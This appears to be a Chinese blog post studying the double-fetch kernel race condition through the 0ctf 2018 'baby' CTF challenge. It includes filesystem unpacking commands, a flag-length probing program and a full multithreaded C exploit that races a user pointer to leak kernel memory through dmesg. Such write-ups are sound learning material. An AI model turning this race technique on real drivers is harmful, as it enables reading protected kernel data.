内核学习(四) double_fetch。这次主要基于ctf_wiki 学习。DoubleFetch相关知识点可在微软安全研究 中找到。
double_fetch 阅读微软安全研究 的文章
double_fetch是指当内核根据用户输入先判断某个参数的信息,保存在本地之后,如果后面还需要访问这个内容(当内核函数两次从同一用户内存地址读取同一数据时,通常第一次读取用来验证数据或建立联系,第二次则用来使用该数据),可能会复制进来新的信息(利用多线程,条件竞争)这样可能会导致信息不匹配。严重的话可能导致堆栈溢出等情况 。
一个很简单的例子是如下代码,也是上述文章中的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void win32k_entry_point (…) { […] my_struct = (PMY_STRUCT)lParam; if (my_struct ->lpData) { cbCapture = sizeof (MY_STRUCT) + my_struct->cbData; […] […] if ( my_allocation = UserAllocPoolWithQuota(cbCapture, TAG_SMS_CAPTURE)) != NULL ) { RtlCopyMemory(my_allocation, my_struct->lpData, my_struct->cbData); } } […] }
如果第一次通过fetch拿到了一个长度,第二次如果是别的内核线程运行到这里,由于没有加锁,可能从相同的结构体中复制错误的数据长度。简单来说,其实就是多线程下共享变量未保护的问题(个人理解)
题目分析 这里使用经典的0ctf2018 finals baby。这里的double_fetch的效果是读取内核特定地址信息,没有完成提权等效果。
首先解压文件系统
1 2 3 4 5 6 7 8 9 # 解包文件系统 mkdir core mv core.cpio ./core/core.cpio cpio -idmv < core.cpio rm -rf core.cpio # 找到baby.ko文件,放到IDA中,打包文件系统 # 重打包文件系统 find . | cpio -o --format=newc > core.cpio mv ./core.cpio ../
放在IDA里面看一下。驱动主要用两个功能
当command=0x6666时,输出flag对应的地址
当command=0x1337时,对我们的输入做如下比较之后,逐字节比较我们输入的flag和正确的flag。如果一样就给出flag(和没有一样)
因此可以看出,比较的内容如下
这里注意到flag是硬编码的。远程的flag是修改过的,所以长度肯定也不同。因此我们还需要知道远程flag的长度。这个可以一个一个尝试来获取。
思路 之前的double_fetch框架提示我们:需要两次对用户输入判断才能利用这种工具。这里恰好有这种情形。可以看出,如果第一个线程的输入成功绕过位于用户空间的比对条件之后,在和flag逐字节比较之前,将我们的flag指针改为之前打印出来的内核地址 ,就可以在后面比较时泄露内核地址。
我们exp编写的步骤为
拿到flag内核地址,flag长度。
通过多线程double_fetch实现buf指针的劫持,绕过检测
通过dmesg查找到内核打印到内核缓冲区的flag
dmesg命令用于显示开机信息,属于内核信息。用户态需要通过dmesg命令 来看到。
编写exp 获得flag长度 从反汇编代码看出,如果检查条件(所属空间、长度)不满足,返回值为0x16。我们只需要在用户态编写循环遍历即可得到。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #include <string.h> #include <stdio.h> #include <fcntl.h> #include <malloc.h> #include <unistd.h> #include <sys/ioctl.h> struct user_input { char *flag_str; long length; }; void main () { struct user_input *input = (struct user_input*)malloc (sizeof (struct user_input)); int cnt = 0 ; int fd = open("/dev/baby" ,0 ); for (cnt=0 ;cnt<50 ;cnt++) { printf ("trying %d: " ,cnt); int ret = 0 ; input->flag_str = "aaaaa" ; input->length = cnt; ret = ioctl(fd,0x1337 ,input); if (ret == 0x16 ) { printf ("ok! the length of flag is %d\n" ,cnt); return ; } else { printf ("return %d\n" ,ret); } } }
可以看到远程的flag长度为33。
double_fetch 这里需要创建两个线程(一个为原先的主线程)其中主线程不断发起ioctl(fd,0x1337,&input)
另一个线程反复修改传递的input结构体中的flag_addr数值。由于每次需要通过dmesg查看输出的flag地址比较麻烦,ctf-wiki上面采用了读取文件,利用字符串匹配寻找到最终目标地址的方法。
需要注意的是子线程每次修改的,必须是和主线程一样的数据结构中的flag_buf。最好定义成全局的(虽然理论上来说,不同线程的栈也可以共享),此外,尽量让线程少输出,因为io会大大增加开销,可能导致竞争失败 ,原先这里就卡了好久,结果关掉输出就对了。
下面的exp主要参考ctf-wiki上面。自己敲了一遍代码,理解了一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 #include <string.h> char *strstr (const char *haystack, const char *needle) ;#define _GNU_SOURCE #include <string.h> char *strcasestr (const char *haystack, const char *needle) ;#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <fcntl.h> #include <pthread.h> #include <malloc.h> #define TRYTIME 0x1000 #define LEN 0x50 struct user_input { char *flag_str; long length; } input; int finish = 0 ;int fd;char buf[0x50 ] = {0 };unsigned long long flag_place;void trying (void *s) { struct user_input *mal = s; while (finish == 0 ) { mal->flag_str = flag_place; } } int main () { fd = open("/dev/baby" ,0 ); ioctl(fd,0x6666 ); system("dmesg > /tmp/record.txt" ); int tmp_fd = open("/tmp/record.txt" ,O_RDONLY); char temp[0x1000 ]; lseek(tmp_fd,-0x100 ,SEEK_END); read(tmp_fd,temp,0x100 ); char * idx = strstr (temp,"Your flag is at " ); if (idx == 0 ){ printf ("[-]Not found addr" ); exit (-1 ); } close(tmp_fd); idx+=16 ; unsigned long addr = strtoull(idx,idx+16 ,16 ); puts ("------addr----------" ); printf ("[+]flag addr: %p\n" ,addr); flag_place = addr; input.flag_str = buf; input.length = 33 ; int cnt1 = 0 ; int cnt2 = 0 ; pthread_t t1; pthread_create(&t1,NULL ,trying,&input); for (cnt1=0 ;cnt1<1000 ;cnt1++) { ioctl(fd,0x1337 ,&input); input.flag_str = buf; } finish = 1 ; pthread_join(t1,NULL ); close(fd); puts ("[+] result is: " ); system("dmesg | grep THIS" ); return 0 ; }
参考链接 https://blog.csdn.net/qq_43116977/article/details/105868792
http://p4nda.top/2018/07/20/0ctf-baby/